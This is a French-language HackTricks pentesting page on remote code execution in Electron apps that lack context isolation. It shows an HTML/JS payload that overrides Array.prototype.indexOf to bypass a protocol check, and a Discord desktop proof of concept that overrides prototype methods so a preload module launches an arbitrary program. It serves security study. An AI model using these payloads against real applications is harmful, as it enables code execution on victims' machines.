hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

83 lines
3.9 KiB
Markdown

# Electron contextIsolation RCE via preload code
{{#include ../../../banners/hacktricks-training.md}}
## Exemple 1
Exemple de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
Ce code ouvre des liens http(s) avec le navigateur par défaut :
![](<../../../images/image (768).png>)
Quelque chose comme `file:///C:/Windows/systemd32/calc.exe` pourrait être utilisé pour exécuter un calc, le `SAFE_PROTOCOLS.indexOf` l'en empêche.
Par conséquent, un attaquant pourrait injecter ce code JS via le XSS ou la navigation sur une page arbitraire :
```html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
```
Comme l'appel à `SAFE_PROTOCOLS.indexOf` renverra toujours 1337, l'attaquant peut contourner la protection et exécuter le calc. Exploit final :
```html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Vérifiez les diapositives originales pour d'autres façons d'exécuter des programmes sans avoir une invite demandant des autorisations.
Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme `file://127.0.0.1/electron/rce.jar`
## Exemple 2 : RCE de l'application Discord
Exemple de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
En vérifiant les scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet à certains modules autorisés d'être appelés via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, dans la page web.\
Ici, je n'ai pas pu utiliser des modules qui peuvent être utilisés pour RCE directement, comme le module _child_process_, mais j'ai **trouvé un code où RCE peut être atteint en remplaçant les méthodes intégrées JavaScript** et en interférant avec l'exécution du module exposé.
Ce qui suit est le PoC. J'ai pu confirmer que l'application **calc** est **affichée** lorsque j'**appelle la fonction `getGPUDriverVersions`** qui est définie dans le module appelé "_discord_utils_" depuis devTools, tout en **remplaçant `RegExp.prototype.test` et `Array.prototype.join`**.
```javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
```
La fonction `getGPUDriverVersions` essaie d'exécuter le programme en utilisant la bibliothèque "_execa_", comme suit :
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
```
Habituellement, le _execa_ essaie d'exécuter "_nvidia-smi.exe_", qui est spécifié dans la variable `nvidiaSmiPath`, cependant, en raison de la méthode `RegExp.prototype.test` et de `Array.prototype.join` remplacées, **l'argument est remplacé par "**_**calc**_**" dans le traitement interne de _execa**_**.
Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}